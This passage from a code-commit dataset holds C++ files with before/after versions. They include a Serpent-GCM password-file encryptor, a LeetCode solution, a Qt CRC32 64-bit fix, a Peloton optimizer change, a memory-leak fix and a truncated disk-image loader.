salt data into storage\r\n        for (int i = 0; i < sLength; i++)\r\n        {\r\n            xor2[kLength + i] = sData[i] ^ xor1[kLength + i];\r\n        }\r\n    }\r\n\r\n    SecByteBlock getDataCopy()\r\n    {\r\n        SecByteBlock data(keyLength);\r\n        for (int i = 0; i < keyLength; i++)\r\n        {\r\n            data[i] = xor1[i] ^ xor2[i];\r\n        }\r\n        return data;\r\n    }\r\n\r\n    SecByteBlock getSaltCopy()\r\n    {\r\n        int saltLength = xor1.size() - keyLength;\r\n        SecByteBlock data(saltLength);\r\n        for (int i = 0; i < saltLength; i++)\r\n        {\r\n            data[i] = xor1[keyLength + i] ^ xor2[keyLength + i];\r\n        }\r\n        return data;\r\n    }\r\n\r\n    iter_t getNumberOfIterations()\r\n    {\r\n        return createdWithNumberOfIterations;\r\n    }\r\n\r\n    ~EncryptionKeyImpl()\r\n    {\r\n        \/\/clean xor1 and xor2\r\n        xor1.CleanNew(0);\r\n        xor2.CleanNew(0);\r\n    }\r\n};\r\n\r\nSerpentEncryptor::SerpentEncryptor()\r\n{\r\n};\r\n\r\nSerpentEncryptor::~SerpentEncryptor()\r\n{\r\n};\r\n\r\nEncryptionKeyImpl* generateKeyFromPassphrase_p(SecureString passphrase, SecByteBlock salt, iter_t iterations = 0)\r\n{\r\n\r\n    SecByteBlock derived_key(Serpent::DEFAULT_KEYLENGTH);\r\n\r\n    double target_iteration_time = TARGET_ITERATION_TIME;\r\n    iter_t iteration_count = MIN_ITERATION_COUNT;\r\n\r\n    if (iterations > 0)\r\n    {\r\n        target_iteration_time = 0;\r\n        iteration_count = iterations;\r\n    }\r\n\r\n    PKCS5_PBKDF2_HMAC<SHA512> pbkdf2;\r\n    iter_t actualIterationCount = pbkdf2.DeriveKey(\r\n        derived_key,\r\n        derived_key.size(),\r\n        0,\r\n        reinterpret_cast<const byte *>(passphrase.getUnsecureString()),\r\n        passphrase.length(),\r\n        salt,\r\n        salt.size(),\r\n        iteration_count,\r\n        target_iteration_time\r\n        );\r\n\r\n    return new EncryptionKeyImpl(derived_key, derived_key.size(), salt, salt.size(), actualIterationCount);\r\n}\r\n\r\nEncryptionKey* SerpentEncryptor::generateKeyFromPassphraseRandomSalt(SecureString passphrase, int mashIterations)\r\n{\r\n    SecByteBlock salt(SALT_SIZE);\r\n\r\n    \/\/generate salt\r\n    getPrng()->GenerateBlock(salt, salt.size());\r\n\r\n    return generateKeyFromPassphrase_p(passphrase, salt, mashIterations);\r\n}\r\n\r\nEncryptionKey* SerpentEncryptor::generateKeyFromPassphraseFixedSalt(SecureString passphrase, std::string filecontents)\r\n{\r\n    \/\/DATA FORMAT\r\n    \/\/|            plaintext           |             encrypted            |  plain |    <-- confidentiality level\r\n    \/\/|-iter count-|-pwd salt--|--iv---|---------------data---------------|---mac--|    <-- data organization\r\n    \/\/|\t   iter_t  | SALT_SIZE |IV_SIZE|          unknown length          |TAG_SIZE|    <-- data sizes\r\n\r\n\r\n    if (filecontents.substr(0, sizeof(MAGIC_VALUE)-1) != MAGIC_VALUE)\r\n    {\r\n        \/\/ no magic value, then the string does not follow the format specified in this source file\r\n        throw KryptanDecryptMacBadException(\"Bad format\");\r\n    }\r\n\r\n    int offset = 0;\r\n\r\n    std::string decoded;\r\n    StringSource source(filecontents.substr(sizeof(MAGIC_VALUE)-1), true, new Base64Decoder(new StringSink(decoded)));\r\n\r\n    \/\/get password itereation count\r\n    iter_t iteration_count = *reinterpret_cast<const iter_t*>(decoded.data());\r\n    offset += sizeof(iter_t);\r\n    \/\/get password salt\r\n    SecByteBlock pwdSalt(reinterpret_cast<const byte*>(decoded.substr(offset, SALT_SIZE).data()), SALT_SIZE);\r\n\r\n    assert(pwdSalt.size() == (unsigned int)SALT_SIZE);\r\n\r\n    return generateKeyFromPassphrase_p(passphrase, pwdSalt, iteration_count);\r\n}\r\n\r\n\r\n\r\n\/*\r\n* Time for encryption\r\n* We use GCM mode with iv as ADATA (authenticated but not encrypted)\r\n* PDATA is ofcourse 'data' and is both encrypted and authenticated\r\n*\/\r\nstd::string SerpentEncryptor::Encrypt(SecureString data, EncryptionKey* key)\r\n{\r\n    try\r\n    {\r\n        \/\/get keydata\r\n        EncryptionKeyImpl* keyImpl = static_cast<EncryptionKeyImpl*>(key);\r\n        SecByteBlock keyData = keyImpl->getDataCopy();\r\n        SecByteBlock keySaltData = keyImpl->getSaltCopy();\r\n        iter_t iterations = keyImpl->getNumberOfIterations();\r\n\r\n        \/\/generate iv\r\n        SecByteBlock iv(IV_SIZE);\r\n        getPrng()->GenerateBlock(iv, iv.size());\r\n\r\n        \/\/put result here\r\n        std::string encrypted(MAGIC_VALUE);\r\n\r\n        \/\/create keycheck block\r\n        SecByteBlock keycheckShouldbe(KEY_CHECK_LENGTH);\r\n        KEY_CHECK_HASH_FUNCTION hasher;\r\n        hasher.Update(keyData, keyData.size());\r\n        hasher.Final(keycheckShouldbe);\r\n\r\n        GCM< Serpent >::Encryption e;\r\n        e.SetKeyWithIV(keyData, keyData.size(), iv, iv.size());\r\n\r\n        \/\/ Not required for GCM mode (but required for CCM mode)\r\n        \/\/ e.SpecifyDataLengths( adata.size(), pdata.size(), 0 );\r\n\r\n        BufferedTransformation* destination = new Base64Encoder(new StringSink(encrypted));\r\n\r\n        \/\/put iv to the beginning of the destination\r\n        destination->Put(reinterpret_cast<const byte*>(&iterations), sizeof(iter_t));\r\n        destination->Put(keySaltData, keySaltData.size());\r\n        destination->Put(iv, iv.size());\r\n\r\n        \/\/ef takes ownership of destination, no delete necessary\r\n        AuthenticatedEncryptionFilter ef(e, destination, false, TAG_SIZE);\r\n\r\n        \/\/ AuthenticatedEncryptionFilter::ChannelPut\r\n        \/\/  defines two channels: \"\" (empty) and \"AAD\"\r\n        \/\/   channel \"\" is encrypted and authenticated\r\n        \/\/   channel \"AAD\" is authenticated\r\n        \/\/ NOTE: AAD is not put into destination, thats \r\n        \/\/ why we have already done that manually.\r\n        ef.ChannelPut(AAD_CHANNEL, reinterpret_cast<const byte*>(&iterations), sizeof(iter_t), true);\r\n        ef.ChannelPut(AAD_CHANNEL, keySaltData, keySaltData.size());\r\n        ef.ChannelPut(AAD_CHANNEL, iv, iv.size());\r\n        ef.ChannelMessageEnd(AAD_CHANNEL);\r\n\r\n        \/\/ Authenticated data *must* be pushed before\r\n        \/\/  Confidential\/Authenticated data. Otherwise\r\n        \/\/  we must catch the BadState exception\r\n        ef.ChannelPut(DEFAULT_CHANNEL, keycheckShouldbe, keycheckShouldbe.size());\r\n        ef.ChannelPut(DEFAULT_CHANNEL, (const byte*)data.getUnsecureString(), data.length());\r\n        ef.ChannelMessageEnd(DEFAULT_CHANNEL);\r\n\r\n        \/\/we're finished with the unsecure data, let's remove it\r\n        data.UnsecuredStringFinished();\r\n\r\n        \/\/return to caller with encrypted and encoded data\r\n        return encrypted;\r\n    }\r\n    catch (CryptoPP::BufferedTransformation::NoChannelSupport& e)\r\n    {\r\n        data.UnsecuredStringFinished();\r\n        \/\/ The tag must go in to the default channel:\r\n        \/\/  \"unknown: this object doesn't support multiple channels\"\r\n        \/\/ this should never happen\r\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\r\n    }\r\n    catch (CryptoPP::AuthenticatedSymmetricCipher::BadState& e)\r\n    {\r\n        data.UnsecuredStringFinished();\r\n        \/\/ Pushing PDATA before ADATA results in:\r\n        \/\/  \"GMC\/AES: Update was called before State_IVSet\"\r\n\r\n        \/\/this should also never happen\r\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\r\n    }\r\n    catch (CryptoPP::InvalidArgument& e)\r\n    {\r\n        data.UnsecuredStringFinished();\r\n        \/\/some arguments were invalid\r\n        \/\/this should ofcourse never happen\r\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\r\n    }\r\n    catch (CryptoPP::Exception& e)\r\n    {\r\n        data.UnsecuredStringFinished();\r\n        \/\/unknown exception\r\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\r\n    }\r\n}\r\n\r\n\r\n\r\nSecureString SerpentEncryptor::Decrypt(std::string data, EncryptionKey* key)\r\n{\r\n    try\r\n    {\r\n        if (data.substr(0, sizeof(MAGIC_VALUE)-1) != MAGIC_VALUE)\r\n        {\r\n            \/\/ no magic value, then the string does not follow the format specified in this source file\r\n            throw KryptanDecryptMacBadException(\"Bad format\");\r\n        }\r\n        \/\/source\r\n        std::string decoded;\r\n        StringSource source(data.substr(sizeof(MAGIC_VALUE)-1), true, new Base64Decoder(new StringSink(decoded)));\r\n\r\n        \/\/DATA FORMAT\r\n        \/\/|            plaintext           |             encrypted            |  plain |    <-- confidentiality level\r\n        \/\/|-iter count-|-pwd salt--|--iv---|---------------data---------------|---mac--|    <-- data organization\r\n        \/\/|\t   iter_t  | SALT_SIZE |IV_SIZE|          unknown length          |TAG_SIZE|    <-- data sizes\r\n\r\n        \/\/pre-data exraction sanity check\r\n        assert(data.length() > TAG_SIZE + IV_SIZE);\r\n\r\n        int offset = sizeof(iter_t)+SALT_SIZE;\r\n        \/\/get iv\r\n        SecByteBlock iv(reinterpret_cast<const byte*>(decoded.substr(offset, IV_SIZE).data()), IV_SIZE);\r\n        offset += IV_SIZE;\r\n        \/\/get encrypted\r\n        std::string encrypted = decoded.substr(offset, decoded.length() - offset - TAG_SIZE);\r\n        \/\/get mac\r\n        std::string mac = decoded.substr(decoded.length() - TAG_SIZE);\r\n\r\n        \/\/post-data exraction sanity checks\r\n        assert(iv.size() == (unsigned int)IV_SIZE);\r\n        assert(encrypted.size() > 0);\r\n        assert(mac.size() == (unsigned int)TAG_SIZE);\r\n\r\n        \/\/get keydata\r\n        EncryptionKeyImpl* keyImpl = static_cast<EncryptionKeyImpl*>(key);\r\n        SecByteBlock keyData = keyImpl->getDataCopy();\r\n        iter_t iterations = keyImpl->getNumberOfIterations();\r\n        SecByteBlock keySaltData = keyImpl->getSaltCopy();\r\n\r\n        \/\/Decryptor\r\n        GCM<Serpent>::Decryption d;\r\n        d.SetKeyWithIV(keyData, keyData.size(), iv, iv.size());\r\n\r\n        \/\/ Object _will_ throw an exception\r\n        \/\/  during decryption\\verification _if_\r\n        \/\/  verification fails.\r\n        AuthenticatedDecryptionFilter df(d, NULL,\r\n            AuthenticatedDecryptionFilter::MAC_AT_END |\r\n            AuthenticatedDecryptionFilter::THROW_EXCEPTION, TAG_SIZE);\r\n\r\n        \/\/the order of the follwing is important\r\n        df.ChannelPut(AAD_CHANNEL, reinterpret_cast<const byte*>(&iterations), sizeof(iter_t), true);\r\n        df.ChannelPut(AAD_CHANNEL, keySaltData, keySaltData.size());\r\n        df.ChannelPut(AAD_CHANNEL, iv, iv.size());\r\n        df.ChannelMessageEnd(AAD_CHANNEL);\r\n\r\n        df.ChannelPut(DEFAULT_CHANNEL, reinterpret_cast<const byte*>(encrypted.data()), encrypted.size());\r\n        df.ChannelPut(DEFAULT_CHANNEL, reinterpret_cast<const byte*>(mac.data()), mac.size());\r\n        df.ChannelMessageEnd(DEFAULT_CHANNEL);\r\n\r\n        \/\/if we get this far the authentication is successfull :)\r\n\r\n        df.SetRetrievalChannel(DEFAULT_CHANNEL);\r\n        auto totaldecryptedsize = df.MaxRetrievable();\r\n\r\n        if (totaldecryptedsize < (unsigned int)KEY_CHECK_LENGTH)\r\n        {\r\n            throw KryptanDecryptMacBadException(\"Error while decrypting: Cannot find keycheck data!\");\r\n        }\r\n\r\n        \/\/keycheck\r\n        SecByteBlock keycheck(KEY_CHECK_LENGTH);\r\n        SecByteBlock keycheckShouldbe(KEY_CHECK_LENGTH);\r\n        df.Get(keycheck, keycheck.size());\r\n        KEY_CHECK_HASH_FUNCTION hasher;\r\n        hasher.Update(keyData, keyData.size());\r\n        hasher.Final(keycheckShouldbe);\r\n\r\n        if (!VerifyBufsEqual(keycheck, keycheckShouldbe, KEY_CHECK_LENGTH))\r\n        {\r\n            throw KryptanDecryptWrongKeyException(\"Incorrect key!\");\r\n        }\r\n\r\n        auto datasize = totaldecryptedsize - KEY_CHECK_LENGTH;\r\n\r\n        if (datasize <= 0)\r\n            return SecureString();\r\n\r\n        \/\/get data\r\n        byte* destination = new byte[(int)datasize + 1];\r\n        df.Get(destination, (size_t)datasize);\r\n        destination[datasize] = 0;\/\/null terminate\r\n\r\n        \/\/imports the data securely and deletes the buffer\r\n        SecureString decrypted((SecureString::ssarr) destination);\r\n\r\n        return decrypted;\r\n    }\r\n    catch (CryptoPP::InvalidArgument& e)\r\n    {\r\n        \/\/invalid argument somewhere\r\n        \/\/this should not happen\r\n        throw KryptanDecryptException(e.what());\r\n    }\r\n    catch (CryptoPP::AuthenticatedSymmetricCipher::BadState& e)\r\n    {\r\n        \/\/ Pushing PDATA before ADATA results in:\r\n        \/\/  \"GMC\/AES: Update was called before State_IVSet\"\r\n        throw KryptanDecryptException(e.what());\r\n    }\r\n    catch (CryptoPP::HashVerificationFilter::HashVerificationFailed)\r\n    {\r\n        throw KryptanDecryptMacBadException(\"Integrity check failed, password file is corrupt.\");\r\n    }\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(n)\n\/\/ Space: O(n)\n\nclass Solution {\npublic:\n    int firstUniqChar(string s) {\n        using IT = list<int>::iterator;\n\n    \tlist<int> candidates;\n    \tunordered_map<char, IT> lookup;\n    \tfor (int i = 0; i < s.size(); ++i) {\n    \t\tconst auto c = s[i];\n    \t\tif (lookup.count(c)) {\n    \t\t\tif (lookup[c] != candidates.end()) {\n    \t\t\t\tcandidates.erase(lookup[c]);\n    \t\t\t}\n    \t\t\tlookup[c] = candidates.end();\n    \t\t} else {\n    \t\t\tlookup[c] = candidates.emplace(candidates.end(), i);\n    \t\t}\n    \t}\n    \treturn candidates.empty() ? -1 : candidates.front();\n    }\n};\n<commit_msg>Update first-unique-character-in-a-string.cpp<commit_after>\/\/ Time:  O(n)\n\/\/ Space: O(n)\n\nclass Solution {\npublic:\n    int firstUniqChar(string s) {\n        using IT = list<int>::iterator;\n\n    \tlist<int> candidates;\n    \tunordered_map<char, IT> lookup;\n    \tfor (int i = 0; i < s.length(); ++i) {\n    \t\tconst auto c = s[i];\n    \t\tif (lookup.count(c)) {\n    \t\t\tif (lookup[c] != candidates.end()) {\n    \t\t\t\tcandidates.erase(lookup[c]);\n    \t\t\t}\n    \t\t\tlookup[c] = candidates.end();\n    \t\t} else {\n    \t\t\tlookup[c] = candidates.emplace(candidates.end(), i);\n    \t\t}\n    \t}\n    \treturn candidates.empty() ? -1 : candidates.front();\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the config.tests of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include <iostream>\n#include <cstdlib>\n#include <cstring>\n\n\nclass CCRC32\n{\npublic:\n    CCRC32() { initialize(); }\n\n    unsigned long FullCRC(const unsigned char *sData, unsigned long ulDataLength)\n    {\n        unsigned long ulCRC = 0xffffffff;\n        PartialCRC(&ulCRC, sData, ulDataLength);\n        return(ulCRC ^ 0xffffffff);\n    }\n\n    void PartialCRC(unsigned long *ulCRC, const unsigned char *sData, unsigned long ulDataLength)\n    {\n        while(ulDataLength--) {\n            *ulCRC = (*ulCRC >> 8) ^ ulTable[(*ulCRC & 0xFF) ^ *sData++];\n        }\n    }\n\nprivate:\n    void initialize(void)\n    {\n        unsigned long ulPolynomial = 0x04C11DB7;\n        memset(&ulTable, 0, sizeof(ulTable));\n        for(int iCodes = 0; iCodes <= 0xFF; iCodes++) {\n            ulTable[iCodes] = Reflect(iCodes, 8) << 24;\n            for(int iPos = 0; iPos < 8; iPos++) {\n                ulTable[iCodes] = (ulTable[iCodes] << 1)\n                    ^ ((ulTable[iCodes] & (1 << 31)) ? ulPolynomial : 0);\n            }\n\n            ulTable[iCodes] = Reflect(ulTable[iCodes], 32);\n        }\n    }\n    unsigned long Reflect(unsigned long ulReflect, const char cChar)\n    {\n        unsigned long ulValue = 0;\n        \/\/ Swap bit 0 for bit 7, bit 1 For bit 6, etc....\n        for(int iPos = 1; iPos < (cChar + 1); iPos++) {\n            if(ulReflect & 1) {\n                ulValue |= (1 << (cChar - iPos));\n            }\n            ulReflect >>= 1;\n        }\n        return ulValue;\n    }\n    unsigned long ulTable[256]; \/\/ CRC lookup table array.\n};\n\n\nint main(int argc, char **argv)\n{\n    CCRC32 crc;\n    char *name;\n    if (argc < 2) {\n        std::cerr << \"usage: crc <string>\\n\";\n        return 0;\n    } else {\n        name = argv[1];\n    }\n    std::cout << crc.FullCRC((unsigned char *)name, strlen(name)) << std::endl;\n}\n<commit_msg>Fixed calculating CRC32 on 64bit platforms<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the config.tests of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include <iostream>\n#include <cstdlib>\n#include <cstring>\n\n\nclass CCRC32\n{\npublic:\n    CCRC32() { initialize(); }\n\n    unsigned long FullCRC(const unsigned char *sData, unsigned long ulDataLength)\n    {\n        unsigned long ulCRC = 0xffffffff;\n        PartialCRC(&ulCRC, sData, ulDataLength);\n        return(ulCRC ^ 0xffffffff);\n    }\n\n    void PartialCRC(unsigned long *ulCRC, const unsigned char *sData, unsigned long ulDataLength)\n    {\n        while(ulDataLength--) {\n            *ulCRC = (*ulCRC >> 8) ^ ulTable[(*ulCRC & 0xFF) ^ *sData++];\n        }\n    }\n\nprivate:\n    void initialize(void)\n    {\n        unsigned long ulPolynomial = 0x04C11DB7;\n        memset(&ulTable, 0, sizeof(ulTable));\n        for(int iCodes = 0; iCodes <= 0xFF; iCodes++) {\n            ulTable[iCodes] = Reflect(iCodes, 8) << 24;\n            for(int iPos = 0; iPos < 8; iPos++) {\n                ulTable[iCodes] = ((ulTable[iCodes] << 1) & 0xffffffff)\n                    ^ ((ulTable[iCodes] & (1 << 31)) ? ulPolynomial : 0);\n            }\n\n            ulTable[iCodes] = Reflect(ulTable[iCodes], 32);\n        }\n    }\n    unsigned long Reflect(unsigned long ulReflect, const char cChar)\n    {\n        unsigned long ulValue = 0;\n        \/\/ Swap bit 0 for bit 7, bit 1 For bit 6, etc....\n        for(int iPos = 1; iPos < (cChar + 1); iPos++) {\n            if(ulReflect & 1) {\n                ulValue |= (1ul << (cChar - iPos));\n            }\n            ulReflect >>= 1;\n        }\n        return ulValue;\n    }\n    unsigned long ulTable[256]; \/\/ CRC lookup table array.\n};\n\n\nint main(int argc, char **argv)\n{\n    CCRC32 crc;\n    char *name;\n    if (argc < 2) {\n        std::cerr << \"usage: crc <string>\\n\";\n        return 0;\n    } else {\n        name = argv[1];\n    }\n    std::cout << crc.FullCRC((unsigned char *)name, strlen(name)) << std::endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         PelotonDB\n\/\/\n\/\/ simple_optimizer.cpp\n\/\/\n\/\/ Identification: \/peloton\/src\/optimizer\/simple_optimizer.cpp\n\/\/\n\/\/ Copyright (c) 2016, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"optimizer\/simple_optimizer.h\"\n#include \"parser\/peloton\/abstract_parse.h\"\n#include \"planner\/abstract_plan.h\"\n#include \"planner\/drop_plan.h\"\n#include \"planner\/seq_scan_plan.h\"\n\n#include \"common\/logger.h\"\n\n#include <memory>\n\nnamespace peloton {\nnamespace planner {\nclass AbstractPlan;\n}\nnamespace optimizer {\n\nSimpleOptimizer::SimpleOptimizer() {\n}\n;\n\nSimpleOptimizer::~SimpleOptimizer() {\n}\n;\n\nstd::shared_ptr<planner::AbstractPlan> SimpleOptimizer::BuildPlanTree(\n    const std::unique_ptr<parser::AbstractParse>& parse_tree) {\n\n  std::shared_ptr<planner::AbstractPlan> plan_tree;\n\n  \/\/ Base Case\n  if (parse_tree.get() == nullptr)\n    return plan_tree;\n\n  std::unique_ptr<planner::AbstractPlan> child_plan = nullptr;\n\n  \/\/ TODO: Transform the parse tree\n\n  \/\/ One to one Mapping\n  auto parse_item_node_type = parse_tree->GetParseNodeType();\n\n  switch (parse_item_node_type) {\n    case PARSE_NODE_TYPE_DROP: {\n      std::unique_ptr<planner::AbstractPlan> child_DropPlan(\n          new planner::DropPlan(\"department-table\"));\n      child_plan = std::move(child_DropPlan);\n    }\n      break;\n\n    case PARSE_NODE_TYPE_SCAN: {\n      std::unique_ptr<planner::AbstractPlan> child_SeqScanPlan(\n          new planner::SeqScanPlan());\n      child_plan = std::move(child_SeqScanPlan);\n    }\n      break;\n\n    default:\n      LOG_INFO(\"Unsupported Parse Node Type\");\n  }\n\n  if (child_plan != nullptr) {\n    if (plan_tree != nullptr)\n      plan_tree->AddChild(std::move(child_plan));\n    else\n      plan_tree = std::move(child_plan);\n  }\n\n  \/\/ Recurse\n  auto &children = parse_tree->GetChildren();\n  for (auto &child : children) {\n    std::unique_ptr<planner::AbstractPlan> child_parse(BuildPlanTree(child));\n    child_plan = std::move(child_parse);\n  }\n  return plan_tree;\n}\n\n}  \/\/ namespace optimizer\n}  \/\/ namespace peloton\n<commit_msg>Simple Fix and Checkpoint<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         PelotonDB\n\/\/\n\/\/ simple_optimizer.cpp\n\/\/\n\/\/ Identification: \/peloton\/src\/optimizer\/simple_optimizer.cpp\n\/\/\n\/\/ Copyright (c) 2016, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"optimizer\/simple_optimizer.h\"\n#include \"parser\/peloton\/abstract_parse.h\"\n#include \"planner\/abstract_plan.h\"\n#include \"planner\/drop_plan.h\"\n#include \"planner\/seq_scan_plan.h\"\n\n#include \"common\/logger.h\"\n\n#include <memory>\n\nnamespace peloton {\nnamespace planner {\nclass AbstractPlan;\n}\nnamespace optimizer {\n\nSimpleOptimizer::SimpleOptimizer() {\n}\n;\n\nSimpleOptimizer::~SimpleOptimizer() {\n}\n;\n\nstd::shared_ptr<planner::AbstractPlan> SimpleOptimizer::BuildPlanTree(\n    const std::unique_ptr<parser::AbstractParse>& parse_tree) {\n\n  std::shared_ptr<planner::AbstractPlan> plan_tree;\n\n  \/\/ Base Case\n  if (parse_tree.get() == nullptr)\n    return plan_tree;\n\n  std::unique_ptr<planner::AbstractPlan> child_plan = nullptr;\n\n  \/\/ TODO: Transform the parse tree\n\n  \/\/ One to one Mapping\n  auto parse_item_node_type = parse_tree->GetParseNodeType();\n\n  switch (parse_item_node_type) {\n    case PARSE_NODE_TYPE_DROP: {\n      std::unique_ptr<planner::AbstractPlan> child_DropPlan(\n          new planner::DropPlan(\"department-table\"));\n      child_plan = std::move(child_DropPlan);\n    }\n      break;\n\n    case PARSE_NODE_TYPE_SCAN: {\n      std::unique_ptr<planner::AbstractPlan> child_SeqScanPlan(\n          new planner::SeqScanPlan());\n      child_plan = std::move(child_SeqScanPlan);\n    }\n      break;\n\n    default:\n      LOG_INFO(\"Unsupported Parse Node Type\");\n  }\n\n  if (child_plan != nullptr) {\n    if (plan_tree != nullptr)\n      plan_tree->AddChild(std::move(child_plan));\n    else\n      plan_tree = std::move(child_plan);\n  }\n\n  \/\/ Recurse\n  auto &children = parse_tree->GetChildren();\n  for (auto &child : children) {\n    auto child_parse = std::move(BuildPlanTree(child));\n    child_plan = std::move(child_parse);\n  }\n  return plan_tree;\n}\n\n}  \/\/ namespace optimizer\n}  \/\/ namespace peloton\n<|endoftext|>"}
{"text":"<commit_before>#include \"Component.h\"\n\nMsg* Component::pop() \n{\n\tMsg* msg = NULL;\n\tif(!msgs.empty())\n\t{\n\t\tmsg = msgs.front();\n\t\tmsgs.pop();\n\t}\n\n\treturn msg;\n}\nMsg* Component::peek()\n{\n\tMsg* msg = NULL;\n\tif(!msgs.empty())\n\t\tmsg = msgs.front();\n\treturn msg;\n}\n\nComponent::Component() {}\nComponent::~Component() \n{ \n\tfor(unsigned int i = 0; i < msgs.size(); i++)\n\t\tmsgs.pop(); \/\/calls message's destructor\n}\n\nvoid Component::push(Msg* msg) \n{ \n\tmsgs.push(msg); \n}\n<commit_msg>Attempted to resolve memleak by changing Components constructor<commit_after>#include \"Component.h\"\n\nMsg* Component::pop() \n{\n\tMsg* msg = NULL;\n\tif(!msgs.empty())\n\t{\n\t\tmsg = msgs.front();\n\t\tmsgs.pop();\n\t}\n\n\treturn msg;\n}\nMsg* Component::peek()\n{\n\tMsg* msg = NULL;\n\tif(!msgs.empty())\n\t\tmsg = msgs.front();\n\treturn msg;\n}\n\nComponent::Component() {}\nComponent::~Component() \n{ \n\tMsg* msg;\n\tfor(unsigned int i = 0; i < msgs.size(); i++)\n\t{\n\t\tmsg = msgs.front();\n\t\tmsgs.pop();\n\t\tdelete msg;\n\t\t\/\/msgs.pop(); \/\/calls message's destructor\n\t}\n}\n\nvoid Component::push(Msg* msg) \n{ \n\tmsgs.push(msg); \n}\n<|endoftext|>"}
{"text":"<commit_before>#include <boost\/algorithm\/string.hpp>\n#include \"make_unique.h\"\n#include \"Utils.h\"\n#include \"stricmp.h\"\n#include \"DiskUtils.h\"\n#include \"IszImageStream.h\"\n#include \"CsoImageStream.h\"\n#include \"StdStream.h\"\n#ifdef WIN32\n#include \"VolumeStream.h\"\n#else\n#include \"Posix_VolumeStream.h\"\n#endif\n#ifdef __ANDROID__\n#include \"PosixFileStream.h\"\n#endif\n\nstatic Framework::CStream* CreateImageStream(const boost::filesystem::path& imagePath)\n{\n#ifdef __ANDROID__\n\treturn new Framework::CPosixFileStream(imagePath.string().c_str(), O_RDONLY);\n#else\n\treturn new Framework::CStdStream(imagePath.string().c_str(), \"rb\");\n#endif\n}\n\nDiskUtils::Iso9660Ptr DiskUtils::CreateDiskImageFromPath(const boost::filesystem::path& imagePath)\n{\n\tassert(!imagePath.empty());\n\n\tstd::shared_ptr<Framework::CStream> stream;\n\tauto extension = imagePath.extension().string();\n\n\t\/\/Gotta think of something better than that...\n\tif(!stricmp(extension.c_str(), \".isz\"))\n\t{\n\t\tstream = std::make_shared<CIszImageStream>(CreateImageStream(imagePath));\n\t}\n\telse if(!stricmp(extension.c_str(), \".cso\"))\n\t{\n\t\tstream = std::make_shared<CCsoImageStream>(CreateImageStream(imagePath));\n\t}\n#ifdef WIN32\n\telse if(imagePath.string()[0] == '\\\\')\n\t{\n\t\tstream = std::make_shared<Framework::Win32::CVolumeStream>(imagePath.string()[4]);\n\t}\n#elif !defined(__ANDROID__) && !TARGET_OS_IPHONE && !TARGET_IPHONE_SIMULATOR\n\telse\n\t{\n\t\ttry\n\t\t{\n\t\t\tstream = std::make_shared<Framework::Posix::CVolumeStream>(path);\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t\t\/\/Ok if it fails here, might be a standard ISO image file\n\t\t\t\/\/which will be handled below\n\t\t}\n\t}\n#endif\n\n\t\/\/If it's null after all that, just feed it to a StdStream\n\tif(!stream)\n\t{\n\t\tstream = std::shared_ptr<Framework::CStream>(CreateImageStream(imagePath));\n\t}\n\n\tIso9660Ptr result;\n\ttry\n\t{\n\t\tauto blockProvider = std::make_shared<ISO9660::CBlockProvider2048>(stream);\n\t\tresult = std::make_unique<CISO9660>(blockProvider);\n\t}\n\tcatch(...)\n\t{\n\t\t\/\/Failed with block size 2048, try with CD-ROM XA\n\t\tauto blockProvider = std::make_shared<ISO9660::CBlockProviderCDROMXA>(stream);\n\t\tresult = std::make_unique<CISO9660>(blockProvider);\n\t}\n\treturn result;\n}\n\nDiskUtils::SystemConfigMap DiskUtils::ParseSystemConfigFile(Framework::CStream* 